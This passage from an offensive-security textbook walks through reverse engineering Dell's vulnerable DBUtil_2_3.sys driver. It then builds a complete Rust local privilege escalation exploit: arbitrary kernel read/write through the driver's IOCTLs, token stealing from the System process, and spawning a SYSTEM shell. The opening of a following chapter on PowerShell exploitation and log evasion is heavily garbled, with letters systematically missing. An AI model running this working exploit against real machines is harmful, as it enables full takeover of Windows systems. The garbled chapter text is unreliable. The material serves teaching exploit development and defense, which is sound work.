including BIOS update utilities, Thunderbolt firmware update utilities, TPM firmware
update utilities and dock firmware update utilities.”4 With this in mind, head over to the
Dell website and start looking for potentially impacted updates. One updater that includes
the driver is the Dell Latitude 7204 Rugged BIOS update A16. At the time of writing,
that update is the latest for that system and it still writes the vulnerable driver to disk.
As an additional eercise, try to find another update that contains the vulnerable driver.
287
If you find other drivers along the way, save them for later reverse engineering practice.
The aforementioned updater and a copy of the target driver can be found on the book’s
GitHub repository.
Run the BIOS updater (or your update of choice) on a Windows system and check
in C:\Users\<your user>\AppData\Local\Temp for a file called DBUtil_2_3.sys. If you
cannot find the file there, look in C:\Windows\Temp. You can also fire up Sysinternals
Process Monitor and set a filter for “Path, Ends With, DBUtil_2_3.sys” to see when the
driver is written to disk or invoked.
Lab 14-3: Reverse Engineering the Driver
With the driver file in hand, load it into your disassembler of choice and investigate the
PART III
entry point—IDA Pro was used in the eamples in this chapter.
NOTE The reverse engineering process in this lab is meant to point out
the relevant parts of the program. You may need to spend time looking at
documentation and reverse engineering to come to the same conclusions!
All drivers start with a DriverEntry function. Depending on compiler settings,

the DriverEntry function will either be what the programmer wrote or an automati-
cally inserted stub that initializes the driver-wide security cookie and then jumps to
the original DriverEntry. This driver does in fact have the automatically inserted
stub known as GsDriverEntry. Find the last instruction of this function (jmp)
and go to the function that it references; this function is the real DriverEntry.
At the top of the real DriverEntry, you should see some calls to memmove and
RtlInitUnicodeString, as shown net. Your disassembler may or may not show the
strings being referenced.
288
The strings shown are important because they are subsequently passed to
IoCreateDevice and IoCreateSymbolicLink. This means that we will be able to inter-
act with the created device from user mode via the symlink. The call to IoCreateDevice
shows a few other pieces of information, such as DeviceType (09B0C) and
DeviceExtensionSize (0A0), as shown net.
If both the device and symlink creation succeed, the driver moves a function pointer
into rax, and then that function pointer is moved into various offsets from rdi, as
shown in the following illustration. Trace back what is in rdi and you should find that
it is a pointer to the _DRIVER_OBJECT, originally in rcx. Starting at offset 070 in
_DRIVER_OBJECT is the MajorFunction array, so the function being moved into
rax must be the major function handler for the driver. It handles four major functions:
IRP_MJ_CREATE (0), IRP_MJ_CLOSE (2), IRP_MJ_DEVICE_CONTROL (14),
and IRP_MJ_INTERNAL_DEVICE_CONTROL (15).
289
Net, take a look at the top of the major function handler, shown here. For ease
of understanding, some instructions have been annotated with structure offsets and
appropriate constant values.
PART III
As you can see, the function references fields in both arguments passed to the
major function handler: _DEVICE_OBJECT in rcx and _IRP in rdx. Remem-
ber that the _IRP structure contains details about the request being made. First,
_IO_STACK_LOCATION is moved into r8 and DeviceExtension is moved into rdi.
Then the constant 14 (IRP_MJ_DEVICE_CONTROL) is compared against the first
byte of _IO_STACK_LOCATION, which is the MajorFunction field. When a device
I/O control is made to the driver, this check will not take the jump, instead continu-
ing on to the net block. In the net block, the input buffer (_IRP->AssociatedIrp
.SystemBuffer) is moved into rax and then placed at rdi+0, which is DeviceExtension+0.
Then the length of the input buffer (_IO_STACK_LOCATION->Parameters
.DeviceIoControl.InputBufferLength) is moved into DeviceExtension+8. We will see
these two values referenced later, so keep them in mind. Net, the input buffer length is
compared against the output buffer length (_IO_STACK_LOCATION->Parameters
.DeviceIoControl.OutputBufferLength) and does not continue processing the I/O
control request if they are not equal. This piece of information will become important
when we try to write code to interact with the driver later in the chapter.
290
When searching for vulnerabilities in compiled programs, it is good practice to start
looking for calls to functions that manipulate memory, such as strcpy, memcpy, and
memmove. Open up the cross-references to the memmove function in your disassembler.
In IDA, press the x key on the function in order to bring up the window shown net.
Spend some time reviewing all of these memmove calls. Trace their arguments
(rcx, rdx, and r8) back to see if you might be able to control any. Remember, values
taken from the _IRP->AssociatedIrp.SystemBuffer and _IO_STACK_LOCATION-
>Parameters.DeviceIoControl structures are directly controllable from user mode. Also
remember that SystemBuffer and InputBufferSize were moved into DeviceExtension
at offsets 0 and 8, respectively.
Hopefully after some searching, you find the memmove call in sub_15294 interesting.
291
Depending on the value of dl, the value at r9+0x18 is moved into either rcx (destina-
tion) or rdx (source). At the beginning of this snippet, the other argument to memmove
is in rcx and the move size is moved from eax into r8d. Trace up further to see where r9,
rcx, and eax are derived from, as shown net.
PART III
It looks like rax comes from rbx+0x10 and r9 comes from rbx. So, at this point, we
know that both the size argument and the source or destination come from the buffer
in rbx. Keep tracing up to find that rcx (the first argument) is moved into rbx in the
first block of the function. Tracing up to the caller via cross-reference shows that rdi was
moved into rcx inside of the major function handler, as shown here.
Recall from earlier that rdi holds a pointer to DeviceExtension, which holds a pointer
to SystemBuffer (user input buffer!) at offset 0 and the size of the user input buffer at
offset 8. This means that r9 in sub_15294 is a pointer to the input buffer, so we should
be able to control at least the source/destination and the size of the call to memmove.
Very eciting!
Net, we need to figure out how to reach this code path. We are looking for which
IOCTL code(s) lead to the preceding block. The block has two blocks pointing to it: one
that zeros out edx and one that moves 1 into dl, as seen net. The dl register should be
familiar because its value is how sub_15294 decides whether or not to use the pointer
from r9 as the source or the destination of the memmove call.
292
Tracing up one block from each of these two reveals the IOCTL codes for each:
09B0C1EC4 and 09B0C1EC8.
At this point, we have all the information we need in order to move on to dynamic
analysis of the driver. As an additional eercise, try to figure out what the other IOCTLs
in this driver do. The functionality we just identified is not the only issue with this driver!
Lab 14-4: Interacting with the Driver
Now that we have statically reverse engineered the code and identified the path to an
arbitrary memmove, let’s write some code to interact with the driver. Dynamic analysis
is a very powerful tool in the reverse engineering and eploit development process, so we
will be calling into the driver via code and using the debugger to observe what happens.
Attach your kernel debugger and get the offset of the memmove function by putting
your cursor on the function and running get_screen_ea() - idaapi.get_imagebase() in
IDAPython. This will give you the offset from the base of the driver to the function you
want to debug. Net, set a breakpoint on the function in WinDbg by issuing the bp
command with the driver name and relative offset: bp dbutil_2_3+0x5294. If WinDbg
complains about not being able to resolve the epression, make sure the driver is loaded
and try issuing a .reload to the debugger, and then check that the breakpoint is set prop-
erly with bl.
With the breakpoint set, we need some code to actually trigger it. For a bit of change of
pace, we are going to use Rust to write this tool. On the target VM, download and install
either Visual Studio Community or the Build Tools for Visual Studio. The installed
tools are required by the Rust Windows MSVC toolchain to compile and link programs.
Install Rust on the target machine by downloading rustup-init.ee from https://rustup
.rs and using it to install the 86_64-pc-windows-msvc toolchain. Create a new project
with cargo new --lib dbutil. We are going to write a tool that allows us to specify an
IOCTL and buffer to pass to the DBUtil driver via the DeviceIoControl function. Add
the following lines to the Cargo.toml file under [dependencies]:
winapi = {version = "0.3", features = [
"fileapi", "ioapiset", "libloaderapi", "psapi", "winnt"]}

hex = "0.4"
293
A “crate” in Rust is a package. The winapi crate provides Foreign Function Interface
(FFI) bindings to the Windows API, allowing us to interact with the Windows API
without having to manually declare all of the Windows types and function prototypes we
need. You can also try using the official Microsoft rust windows-rs crate. This declaration
is going to turn on all the features we need for both the IOCTL calling script and the
eploit. The he module is going to allow us to turn a he string into bytes to pass into
the driver.
First, we need to be able to open a handle to the device via CreateFileA. Add the
following to the lib.rs file in the project’s src directory:
use std::mem::size_of;➊
use std::ptr::null_mut;
use winapi::um::{fileapi::*, ioapiset::*, psapi::*, winnt::*};
pub unsafe fn open_dev() -> HANDLE {
PART III
CreateFileA(
"\\\\.\\DBUtil_2_3\0".as_ptr() as _,➋
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
null_mut(),➌
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
null_mut(),➌
)
}
The imports at the top ❶ will be used for all the functionality of both the IOCTL caller
and the eploit, so don’t worry about unused warnings when compiling. The open_dev
function will open a handle to the DBUtil driver via its symbolic link name, which we
saw while statically reverse engineering the driver. The \\\\.\\ prefi is the modern way
to say “DosDevices,” which represents the global namespace. The string has \0 appended
because the function is epecting a NULL-terminated C string ❷. The null_mut() func-
tion is the equivalent of passing NULL as an argument ❸.
Net, let’s write another function in lib.rs to invoke a device IO control via
DeviceIoControl:
pub unsafe fn ioctl(dev: HANDLE, num: u32, iobuf: PVOID, buflen: usize) -> bool {
DeviceIoControl(
dev,➊
num,➋
iobuf,➌
buflen as _,➍
iobuf,➌
buflen as _,➍
null_mut(),
null_mut(),
) != 0➎
}
This function takes a HANDLE to the DBUtil device ❶, an IOCTL code ❷, an

input/output buffer ❸, and an input/output buffer size ❹. Remember that the driver
epects the input and output sizes to always match when calling an IOCTL, so we are just
going to pass in the same buffer and length for both the input and output buffer and size
arguments. The function returns a boolean representing whether or not it succeeds ❺.
294
Now that we have the two functions we need to interact with the driver, create a
folder in the src directory of the project called bin and then create a file inside of it called
ioctlcall.rs. Fill the file with the following content:
use dbutil::{ioctl, open_dev};
fn main() {
let hdev = unsafe { open_dev() };➊
let args: Vec<String> = std::env::args().collect();➋
let code =
u32::from_str_radix(&args[1].trim_start_matches("0x"), 16)
.expect("Bad ioctl number");➌

let mut buf = hex::decode(&args[2]).expect("Bad hex buf");➍
unsafe { ioctl(hdev, code, buf.as_mut_ptr() as _, buf.len()) };➎
println!("Output: {}", hex::encode(&buf));➏
}
The main function of the ioctlcall binary will open the device ❶, get program
arguments as vector of strings ❷, parse the IOCTL number from the first argument ❸,
decode the he input from the second argument ❹, call the specified IOCTL ❺, and
then print the input/output buffer ❻. Let’s try to hit the breakpoint by running cargo
run --bin ioctlcall 0x9B0C1EC4 112233445566778899101112131415161718192
021222324. Remember, we are specifying the input in he, so 48 characters are needed
to represent 24 bytes. The breakpoint should hit! But why 24 bytes? Remember back to
the memmove function in the driver: it epects at least 018 (24) bytes for both the input
and the output buffer.
Eamine the contents of the first argument to this function (rc) with the command
dqs @rcx. You should see an 8-byte kernel pointer and then 0000000000000018.
As we found through static analysis, the first argument to this function is a pointer to the
DeviceExtension. Remember back to the beginning of the IOCTL handler code: the input/
output buffer (_IRP->AssociatedIrp.SystemBuffer) was moved into theDeviceExtension
at offset 0 and the input buffer size (_IO_STACK_LOCATION->Parameters
.DeviceIoControl.InputBufferLength) was moved into the DeviceExtension at offset 8.
Note the SystemBuffer etension address for later!
Single step 26 times (p 0n26) to the memmove call and eamine arguments to
memmove in the rcx, rdx, and r8 registers: r rcx,rdx,r8. Right away, you should notice
that we control part of rdx; the upper 4 bytes (16151413) seem to match bytes 13–16 of
our input (remember: little endian). Let’s use WinDbg to see the difference between the
value we see in rdx and our actual input at that location in the buffer:
3: kd> ? @rdx - 1615141312111099
Evaluate expression: 538515479 = 00000000`20191817
It seems that the 4-byte number at bytes 17–20 of our input was added to the 8-byte
number at bytes 9–16 of our input, meaning we can fully control the source address of
the memmove call!
295
Now we need to figure out if we control the other two parameters. The destination
address in rcx just looks like a random kernel address at first glance, but if we compare
it to the input/output buffer address noted earlier, it is very close by. The destination
address is 018 bytes after the start, which also happens to be the size of our input/
output buffer.
Notice how the size passed into the memmove call is 0. If you trace back the value
in r8 from the memmove call, you will find that the size is moved from eax, which
comes from ecx-0x18. The value in ecx is the length of both the input and output
buffers. This means that the memmove call will use a source or destination we specify,
write to or read from the end of the input/output buffer, and be sized as input/output
size minus 018.
To test control over these parameters, we need to modify the input/output buffer to
read from a location of our choosing. The following diagram shows how the buffer is laid
out according to the data we have collected so far.
PART III
0 4 7
Pointer
Offset
Read or Write Data
Head to the kernel debugger and get the base of the kernel with the command ? nt.
Set bytes 9–16 of the input/output buffer to the ioctlcall program to the base of the
kernel in little-endian, bytes 17–20 to 0, and then make sure the buffer is at least 24 + 8
(32) bytes long. Set the rest of the bytes to 0. For eample, if the base of the kernel is at
0fffff80142000000, the input buffer should be 00000000000000000000004201f8f
fff00000000000000000000000000000000.
Take a look at the output buffer printed as the result, and then compare the last 8
bytes of the buffer with the first 8 bytes of the base of the kernel:
0: kd> db nt L8
fffff801`42000000 4d 5a 90 00 03 00 00 00 MZ......
They should match! The characters MZ should be familiar to you, as they are the first
2 bytes of a PE file (like the kernel). As an additional eercise, test out the arbitrary write
capability in a similar way. You will not be able to write to the base of the kernel because
it is in read-only memory, but you can find other places to write, including in user mode.
296
With confirmation that we can successfully control the parameters to memmove to
gain arbitrary read and write, we can translate the structure to code. Resume adding code
to the lib.rs file:
#[repr(C)]
#[derive(Default)]
struct DbMemmove {
unk1: u64, // unused
ptr: usize, // pointer to read or write
offset: u32, // offset into ptr
unk2: u32, // unused, probably padding
// additional parameters will be src/dst data
}
The repr(C) tag tells the Rust compiler to align the structure like a C structure.
The derive(Default) tag says that all of the types in this structure implement the
core::default::Default trait, so the whole structure does too. The default value for inte-
gers is just 0. You may be wondering why the ptr member is a usize and not LPVOID
(*mut c_void); usize is always pointer sized, and it is easier to cast from arbitrary pointer
types to usize than it is to cast from arbitrary pointer types to LPVOID.
Now that we have an idea what the epected structure looks like and how to call
memmove with arbitrary parameters, we can start to write an eploit to elevate ourselves
to SYSTEM. Before writing any more code, however, you need to understand what
“elevating ourselves to SYSTEM” actually entails.
Token Stealing
What can we do with arbitrary read and write in the kernel? At a minimum, we can
escalate our privileges to SYSTEM via token stealing.
A process is represented in the Windows kernel with an _EPROCESS structure (as in
Eecutive Process). The first member of _EPROCESS is the Pcb field, which is a nested
_KPROCESS structure (as in Kernel Process). _EPROCESS and _KPROCESS contain
a vast amount of information about each process, such as the process ID, image name,
security token, session information, job information, and memory usage information.
Every Windows process has a security token object associated with it. The kernel’s
Security Reference Monitor uses tokens to determine available and active privileges,
group memberships, and other permission-related information when security-related
decisions need to be made. Individual threads also can have tokens associated with them.
The _EPROCESS structure contains a Token member, which is a reference-counted
pointer to a _TOKEN structure. This is the primary token for the process. Unless over-
ridden, a process inherits its primary token from its parent process.
The idea behind token stealing is to overwrite the current, lower privileged process’s
Token field with the _TOKEN pointer from a higher privileged process. An easy and
consistent process from which to steal a high privilege token is the System process. The
System process always has process ID 4 and always has a fully privileged token with
SYSTEM permissions. When a child process is spawned underneath the process that had
its token overwritten with the stolen SYSTEM token, it will have SYSTEM permissions.
297
The _EPROCESS structure contains a few members that will help us with this tech-
nique. The UniqueProcessId field contains the process ID of the process as you would
see in task manager, so we can use it to identify the system process and our own process.
The ActiveProcessLinks member is a doubly linked list that links the entire process list.
The Flink and Blink pointers point not to the top of the net _EPROCESS structure
but rather to the ActiveProcessLinks member of the net _EPROCESS structure, as
shown net. This means that when walking the process list, we will have to read the
ActiveProcessLinks member at a particular offset into _EPROCESS and then subtract
that same offset from the read value in order to get to the top of the net process in the list.
_EPROCESS _EPROCESS _EPROCESS
Pcb Pcb Pcb
... ... ...
PART III
UniqueProcessld UniqueProcessld UniqueProcessld
ActiveProcessLinks.Flink ActiveProcessLinks.Flink ActiveProcessLinks.Flink
ActiveProcessLinks.Blink ActiveProcessLinks.Blink ActiveProcessLinks.Blink
... ... ...
Token Token Token
... ... ...
The plan will be to find a pointer to the System process (PID 4), copy its Token, walk
the ActiveProcessLinks list to find the current PID’s _EPROCESS structure, overwrite
the current process token with the System token, and then eecute a subprocess with the
elevated permissions. All of the fields that need to be read from or written to are pointer
sized, so that will simplify the eploit code a little bit.
To find a pointer to the system process, we can look in the kernel image itself, which
has a pointer to the System process in the symbol PsInitialSystemProcess. The offsets to
each field in _EPROCESS and to the PsInitialSystemProcess symbol change between
versions of the kernel, so we will need to account for that in the eploit.
Lab 14-5: Arbitrary Pointer Read/Write
With a firm grasp of the goal of token stealing, we need to put the pieces together to
form a fully functioning local privilege escalation eploit. Since token stealing only
involves reading and writing pointer-sized values, we can avoid the hassle of having to
deal with structure pointers by adding a usize member at the end of the DbMemmove
structure:
struct DbMemmove {
...
pad: u32,
data: usize,
}
298
Now we can write one function to read a pointer in the kernel and another to write a
pointer in the kernel. The read function must take a HANDLE to the DBUtil device and
an address to read from and then return the contents of that address:
pub fn read_ptr(hdev: HANDLE, ptr: usize) -> usize {
let mut mc = DbMemmove {
ptr,➊
..Default::default()➋
};
let mcptr = &mut mc as *mut DbMemmove;➌

if unsafe {!ioctl(hdev, 0x9B0C1EC4, mcptr as _, size_of::<DbMemmove>())}➍
{
panic!("Failed to read {:#x}", ptr as usize);
}
mc.data➎
}
Since we derived Default in the struct definition, we can fill out the one field required
for reading ❶ and then accept the default for the rest (0 for integer types) ❷. Then, we
get a mutable raw pointer to the structure ❸ to pass into the ioctl function as the buffer
along with the device handle, IOCTL code for arbitrary read, and the size of the struc-
ture ❹. Finally, we return the output value ❺.
The write function must also take the DBUtil HANDLE, a pointer to write to, and
then a value to write into that pointer. It has a very similar format to the previous func-
tion; this time we will fill out the data member of the structure and call the ioctl function
with the arbitrary write IOCTL code:
pub fn write_ptr(hdev: HANDLE, ptr: usize, content: usize) {
let mut mc = DbMemmove {
ptr,
data: content,
..Default::default()
};
let mcptr = &mut mc as *mut DbMemmove;

if unsafe {!ioctl(hdev, 0x9B0C1EC8, mcptr as _, size_of::<DbMemmove>())}
{
panic!("Failed to write {:#x}", ptr as usize);
}
}
With these two functions as part of our library, we now have two very powerful primi-
tives and almost all the ingredients we need to elevate our permissions from a normal
user to SYSTEM.
Lab 14-6: Writing a Kernel Exploit
Continuing on with our eploit code, we need to deal with finding the base of the kernel
and the PsInitialSystemProcess symbol. Since we are assuming that we have user-level
access for this eploit, we can ask the system to tell us where the base of each loaded
299
driver is via the EnumDeviceDrivers function and then we can get the name of the
driver at each base address using the GetDeviceDriverBaseNameA function:
pub unsafe fn get_kernel_base() -> usize {
let mut needed: u32 = 0;
let mut namebuf = vec![0u8; 260];➎
EnumDeviceDrivers(null_mut(), 0, &mut needed);➊
let mut bases =
vec![0usize; (needed as usize / size_of::<usize>()) as _];➋
EnumDeviceDrivers(bases.as_mut_ptr() as _, needed, &mut needed);➌
for base in bases.into_iter() {

let len =
GetDeviceDriverBaseNameA(base as _, namebuf.as_mut_ptr() as _,
namebuf.len() as _);➍
if "ntoskrnl.exe" ==
std::str::from_utf8(&namebuf[..len as _]).unwrap()➏
{
PART III
return base;➐
}
}
panic!("Could not find kernel base");
}
There is quite a bit to unpack here! The first call to EnumDeviceDrivers puts the
required buffer size (in bytes) into needed ❶. Then, a buffer is allocated to hold the
anticipated output ❷, and that buffer is filled up via a second call to EnumDevice-
Drivers ❸. Net, the base addresses are iterated and the name of each is retrieved via
GetDeviceDriverBaseNameA ❹. The namebuf is 260 bytes long ❺, which you may
recognize as MAX_PATH; this should be enough to fit the driver name. If the name
matches ntoskrnl.ee ❻, then the base in that current iteration can be returned as the
base of the kernel ❼. Again, this technique only works for an LPE from medium Integ-
rity or better. Remote and/or Low integrity eploits need to figure out a different way to
get an _EPROCESS pointer, such as via a memory leak and an arbitrary read primitive.
Finally, we can construct the eploit. Create a file in the src/bin directory of your
project called eploit.rs and add the following:
use dbutil::{get_kernel_base, open_dev, read_ptr, write_ptr};
use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryA};
fn main() {}
In the main brackets, first call the open_dev function to get a HANDLE to the device.
Since we declared the function unsafe, the call must be wrapped in an unsafe block:
let hdev = unsafe { open_dev() };
Optionally, add a check to fail gracefully if this function returns

INVALID_HANDLE_VALUE. Net, in order to look up symbols inside of the kernel,
we are going to load a copy of it into user mode via LoadLibraryA. Continue populating
the main function:
let hkernel = LoadLibraryA("ntoskrnl.exe\0".as_ptr() as _);
300
As an eercise, insert the following after the call to LoadLibraryA:
std::io::Read::read(&mut std::io::stdin(), &mut [0u8]).unwrap();
This will pause the program until you press a key, so it will give you time to eamine
the program. Define it as a function if you wish to pause your program at multiple
points. Run the program with cargo run --bin exploit. Net, load up Sysinternals
Process Eplorer, find the eploit process, and open the lower pane to the DLL view.
Search for “ntoskrnl.ee” and note that the base address is a user-mode address. The
kernel image you are referencing as hkernel is this user-mode copy and not the one in
the running kernel.
In order to get the address of PsInitialSystemProcess in the running kernel we will
first find the relative virtual address (RVA) of the symbol. The RVA is just the offset of
the symbol from the base of the image. To calculate it, we can subtract the base address
of the module (hkernel) ❷ from the address of PsInitialSystemProcess inside of the
user-mode copy of the kernel. In user mode, GetProcAddress ❶ can be used to find any
eported symbol in a loaded PE image, so we can use it to find the symbol address. To
get the address we need in the running kernel, add the calculated RVA to the return value
of get_kernel_base ❸. Since each operation in this process requires an unsafe tag, we
can include it in the same block and end it with the address of PsInitialSystemProcess
in the running kernel:
let lpisp = unsafe {
let hkernel = LoadLibraryA("ntoskrnl.exe\0".as_ptr() as _);
let isp = GetProcAddress(hkernel,
"PsInitialSystemProcess\0".as_ptr() as _);❶
isp as usize - hkernel as usize❷ + get_kernel_base()❸
};
NOTE The missing semicolon at the end of the last line, at ❸, is not a typo
and is intentional. In Rust, a line that does not end with a semicolon is
returned from that block. In this case, the value of the last line is put in the
variable lpisp.
Since the value in lpisp is just a pointer to PsInitialSystemProcess, the net thing we
need to do is make use of the arbitrary read primitive to retrieve the address inside of it:
let isp = read_ptr(hdev, lpisp);
This uses the arbitrary kernel read to get the address of the _EPROCESS structure
representing the SYSTEM process (PID 4). You may want to validate that the value
is correct. To do so, add a print statement and a pause (as described earlier) and then
dump out the value inside of PsInitialSystemProcess in the debugger via the command
dq nt!PsInitialSystemProcess L1.
Since we are token stealing from the SYSTEM process, the net step is to read the
Token field of _EPROCESS with the arbitrary read. At this point you should look
301
up the offsets from the base of the _EPROCESS structure for the UniqueProcessId,
ActiveProcessLinks, and Token fields. This can easily be done in the kernel debugger
using the following command:
2: kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks Token
nt!_EPROCESS
+0x440 UniqueProcessId : Ptr64 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY
+0x4b8 Token : _EX_FAST_REF
Then define these constants near the top of eploit.rs:

const PID_OFFSET: usize = 0x440;
const APLINKS_OFFSET: usize = 0x448;
const TOKEN_OFFSET: usize = 0x4B8;
Now read the SYSTEM token from the system process with our arbitrary pointer read:
PART III
let systoken = read_ptr(hdev, isp + TOKEN_OFFSET);
The net step is a little bit more involved, as we now need to walk the process list
via the ActiveProcessLinks doubly linked list to find the currently eecuting process.
Walking the process list is a bit tricky because the ActiveProcessLinks list does not point
to the top of the net process; instead, it points to the ActiveProcessLinks structure in
the net process! To solve this, we need to read the value in ActiveProcessLinks ❷ and
then subtract the offset of ActiveProcessLinks from that value to get to the top of the
_EPROCESS structure for the net process in the list ❸. Then, once at the net process,
we read ❹ and compare the UniqueProcessId field to the current process ID ❶. If the
process ID matches, then the current process has been found and we can continue to the
final step of the eploit. If the current process is not found, the program needs to walk to
the net process in the list and continue until it is found.
let mut curproc = isp;
let mypid = std::process::id();
let mut curpid = 0;
while curpid != mypid { ➊
curproc = read_ptr(hdev, curproc + APLINKS_OFFSET); ➋
curproc -= APLINKS_OFFSET; ➌
curpid = read_ptr(hdev, curproc + PID_OFFSET) as _; ➍
}
At this point, all there is left to do is copy the SYSTEM token to the Token field of
the current process’s _EPROCESS structure, which we just found in the last step. To do
this, use the arbitrary pointer write function we wrote in the last lab. Once the token has
been overwritten, spawn a subprocess like cmd.ee:
write_ptr(hdev, curproc + TOKEN_OFFSET, systoken);
std::process::Command::new("cmd.exe").spawn().unwrap();
302
If all goes well, the eploit should spawn a shell and not crash the machine. Run
whoami, as shown net, to see if you are SYSTEM!
You may run into issues with Windows Defender calling your eploit malware. It is
malware, so Defender is just doing its job! However, make sure when you click Allow
on Device, you are selecting your eploit in the list and not an actual piece of malware.
Summary
The Windows kernel can be challenging but manageable with the right resources and
a debugger handy. The undocumented nature of the kernel itself makes researching
or eploiting it even more time-consuming. In the labs, you set up kernel debugging,
picked a known vulnerable kernel driver to target, reverse engineered the driver, wrote
a tool to interact with the driver, and then wrote an LPE eploit using token stealing
via functionality in the driver. Hopefully this has given you a jumping-off point to start
further kernel research!
For Further Reading

Download Windows 10 www.microsoft.com/en-us/software-download/windows10
Virtual Machines: Test IE11 and Microsoft Edge Legacy using free Windows 10
virtual machines you download and manage locally developer.microsoft.com/en-us/
microsoft-edge/tools/vms/
Download Visual Studio visualstudio.microsoft.com/downloads/
Windows Internals Books docs.microsoft.com/en-us/sysinternals/resources/windows-
internals
Windows 10 SDK developer.microsoft.com/en-us/windows/downloads/windows-
10-sdk/
Sysinternals Process Monitor live.sysinternals.com/procmon.ee
IRP Structure docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/
ns-wdm-_irp
Defining I/O Control Codes docs.microsoft.com/en-us/windows-hardware/drivers/
kernel/defining-i-o-control-codes
303
References
1. Microsoft Docs, “DRIVER_DISPATCH callback function (wdm.h),” August 19,
2021. https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nc-
wdm-driver_dispatch.
2. Microsoft Docs, “Signing Drivers for Public Release,” accessed October 16, 2021,
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/signing-drivers-
for-public-release--windows-vista-and-later-.
3. Eclypsium, “Screwed Drivers,” GitHub, accessed October 16, 2021, https://
github.com/eclypsium/Screwed-Drivers.
4. Kasif Dekel, “CVE-2021-21551 – Hundreds of Millions of Dell Computers at
Risk Due to Multiple BIOS Driver Privilege Escalation Flaws – SentinelLabs.”
SentinelOne, September 2, 2021, https://www.sentinelone.com/labs/cve-
PART III
2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-
bios-driver-privilege-escalation-flaws/.
5. Dell, “DSA-2021-088: Dell Client Platform Security Update for an Insufficient
Access Control Vulnerability in the Dell DBUTIL Driver,” accessed October 16,
2021, https://www.dell.com/support/kbdoc/en-us/000186019/dsa-2021-088-
dell-client-platform-security-update-for-dell-driver-insufficient-access-control-
vulnerability.
PowerShell Exploitation
CHAPTER
15
• Why PowerShell
• Loading PowerShell scripts
• Creating shells with PowerShell
• PowerShell post-exploitation
Th majoiy of copoa sysms a Widows basd, so i’s impoa ha w hav
a good gasp of h ools availabl i Widows sysms. O of h mos powful of
hs ools is PowShll. I his chap, you la abou wha maks PowShll such a
powful ool, ad w look a som ways o us i as pa of ou xploiaio oolki.
Why PowerShell
Alhough h PowShll laguag has b a blssig fo Widows sysms auoma-
io, i givs hacks lvag. PowShll givs us accss o almos all Widows faus
i a pogammaic way. I’s xsibl ad ca b usd o admiisa Aciv Dicoy,
-mail sysms, ShaPoi, woksaios, ad mo. PowShll givs us accss o
.NET libais fom a scipig ifac, makig i o of h mos flxibl ools you
ca us i a Widows viom.
Living off the Land

Wh w alk abou “livig off h lad,” w ma usig h ools alady ps o
sysms o fuh ou xploiaio. This is valuabl bcaus whv w add higs o
a sysm, w icas h possibiliy of dcio. No oly ha, wh w lav ools
bhid, i hlps disclos ou acics, chiqus, ad pocdus (TTPs) so ha i is asi
o fid ou aciviy acoss oh sysms. Wh w liv off h lad, w ca lav fw
aifacs bhid ad limi h oolig w hav o mov fom sysm o sysm.
PowShll is usful as a alady xisig ool o a sysm bcaus i givs us h
abiliy o asily scip ad also icluds .NET igaio, so almos ayhig w ca
wi i .NET w ca wi i PowShll. This mas w ca go byod basic scip-
ig ad iac wih kl fucios ad mo. This givs us addiioal flxibiliy ha
would omally qui h us of spaa pogams.
305
306
O of h mai bfis of PowShll is ha i ca us h I Explo opios,
so higs lik poxy suppo a buil io PowShll. As a sul, w ca us h buil-i
wb libais o load cod moly, maig w do’ hav o maually dowload ay
cod o h ag sysm. Thfo, wh somo looks a h fil sysm’s imli,
hs pulls fom wbsis wo’ show up, allowig us o b v salhi.
PowerShell Logging
I ali vsios of PowShll (p v4.0), oly a hadful of loggig opios w avail-
abl. This allowd us o opa wihou caig a lo of log als wh w loadd
PowShll, ad also mad i vy difficul fo fosics folks o figu ou wha w
had b doig. Th loggig oly ally codd h fac ha PowShll loadd. Wih
w vsios of PowShll, addiioal opios a availabl o icas PowShll
loggig. Bcaus of his, agig h las Widows vsio may giv away mo abou
wha you a doig ha old vsios.
NOTE We cover just a few of the logging aspects of PowerShell that might
impact detection of your hacking. For more information, we have added a
reference from FireEye that lays out the different options in more depth and
explains how to enable them.1
Module Logging
Modul loggig abls a umb of faus cocig how scips a loadd ad h
basics of wha was xcud. This icluds wha moduls ad vaiabls w loadd, ad
v som scip ifomaio. This loggig galy icass h vbosiy wh Pow-
Shll scips a u, ad i may b ovwhlmig o a admiisao. Modul loggig
has b availabl sic PowShll v3.0 ad is o abld by dfaul, so you d o
abl a Goup Policy Objc (GPO) o sysms o g his loggig.
Alhough his yp of loggig icass h visibiliy io wha was u, much of h
im i dos’ povid h acual cod ha was u. Thfo, fo a fosics ivsiga-
io, his lvl of loggig is sill isuffici. I will, howv, ip off ivsigaos o h
yps of higs you hav b doig, alhough h spcifics will likly o b loggd.
Script Block Logging

Scip block loggig is usd o cod wh scipig blocks a xcud, which povids
mo dph io wha is big xcud. Saig wih PowShll v5.0, scip block log-
gig povids a lo of daa abou poially suspicious vs o giv h fosics folks
somhig o go o.
Ims ha a loggd iclud scips sad wih h encodedcommand opio
as wll as ay basic obfuscaio pfomd. Thfo, wh scip block loggig is
abld, dfds will likly hav som addiioal isigh io wha you w doig.
This is a b soluio fo dfds ha modul loggig bcaus i highlighs higs
you would likly ca abou fom a fosics sadpoi, whil o caig as much of
a log-pasig bud.
Chapter 15: PowerShell Exploitation
307
PowerShell Portability
O of h ic aspcs of PowShll is ha h moduls a vy poabl ad ca b
loadd i a vaiy of diff ways. This givs us h abiliy o load boh sysm-isalld
moduls ad moduls i oh locaios. W also ca load moduls fom Sv Mssag
Block (SMB) shas as wll as h Wb.
Why is big abl o load fom hs mo locaios so valuabl? W wa o lav
as fw acs as possibl, ad w wa o hav o duplica as lil wok as possibl. This
mas w ca lav ims w will us fquly o a SMB sha, o v a wbsi, ad
h fc hm fom h. Bcaus a scip is jus x, w do’ hav o woy abou
blocks fo biay o simila fil yps. W ca also obfusca h cod ad h dcod i
o h fly, which poially maks bypassig scuiy cools asi.
Bcaus a scip is jus x, w ca iclud i almos aywh. Fquly, cod sis
such as GiHub a hady fo his yp of aciviy, as such sis hav may busiss-
PART III
lad puposs. W ca iclud ou scips i a posioy o as basic gis commads
